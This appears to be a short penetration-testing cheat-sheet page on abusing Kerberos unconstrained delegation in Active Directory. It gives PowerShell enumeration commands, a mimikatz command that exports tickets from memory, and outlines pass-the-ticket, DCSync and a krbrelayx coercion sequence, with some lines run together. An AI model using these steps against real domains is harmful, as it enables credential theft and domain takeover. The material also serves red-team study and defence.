Unconstrained Delegation
Unconstrained Delegation
Requirements: UAC: ADS_UF_TRUSTED_FOR_DELEGATION
Tools: Rubeus , mimikatz
Enumerate Computers with Unconstrained Delegation
Get-NetComputer -UnConstrainedGet-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}Get tickets
mimikatz "privilege::debug sekurlsa::tickets /export sekurlsa::tickets /export (Get TGT ticket)Reuse the ticket (Pass-the-Ticket
Force_coercion_with_coerced_auth
We get the ticket, then we move laterally with Pass the Ticket. If the target is a DC, we do a DC Sync to get Domain Admin access
Any principal in Unconstrained Delegation
1) Add a new DNS record on the domain that points to our IP
2) Add a SPN on the principal that points to the DNS record and change its password (will be useful for the tool krbrelayx.py to extract the TGT from the ST)
3) Trigger the authentication and grab the ST (and TGT in it) on krbrelayx that is listening for it
Linux
Last updated